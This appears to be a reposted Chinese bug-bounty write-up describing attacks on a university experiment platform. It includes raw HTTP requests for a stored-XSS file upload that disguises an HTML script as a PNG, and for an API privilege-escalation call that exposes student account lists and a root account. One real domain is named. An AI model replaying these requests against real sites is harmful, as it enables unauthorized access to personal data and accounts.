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http://xxxxxx/login
http://xxxxxxxxxxxxx/guidance/464
http://xxxxx/dialog/content/editor?type=new
http://xxxxxxxx/dialog/content/editor?type=new
在这个上传头上中上传一个数据包，上传一个xss代码
POST /api/static/upload/experiment/file?experimentId=9 HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101Firefox/116.0Accept: application/json, text/plain,/Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data;boundary=---------------------------38011060979487556742390084841Content-Length: 254Connection: close-----------------------------38011060979487556742390084841Content-Disposition: form-data; name="file";filename="9.html"Content-Type: image/png<script>alert(document.cookie)</script>-----------------------------38011060979487556742390084841--
访问这个网站
http://xxxxxxxxxx/api/static/resources/data/huel-fm/home/20230805091624-9.html
数据还可以
http://huel-fm.digquant.com/login
这里有全校的学生账户信息，
抓这个数据包
POST /api/user/admin/get/list HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101Firefox/117.0Accept: application/json, text/plain,/Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonContent-Length: 117Connection: close{"experimentId":9,"pageIndex":2,"showItem":10,"collegeName":"","majorName":"","className":"","grade":"","userRole":1}
抓一个包
POST /api/experiment/report/self/newest/info HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101Firefox/117.0Accept: application/json, text/plain,/Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonContent-Length: 2Connection: close{}
替换接口/api/user/admin/get/list
不仅仅是垂直越权成功，还泄露了root账户，其次teacher权限账户，并没有root账户泄露。
就这一站，未授权访问2分+xss 1分+账户2分+越权2分一共拿了七分
技术交流可加下方wx
原文始发于微信公众号（湘安无事）：记一次edu单个站点斩获7rank
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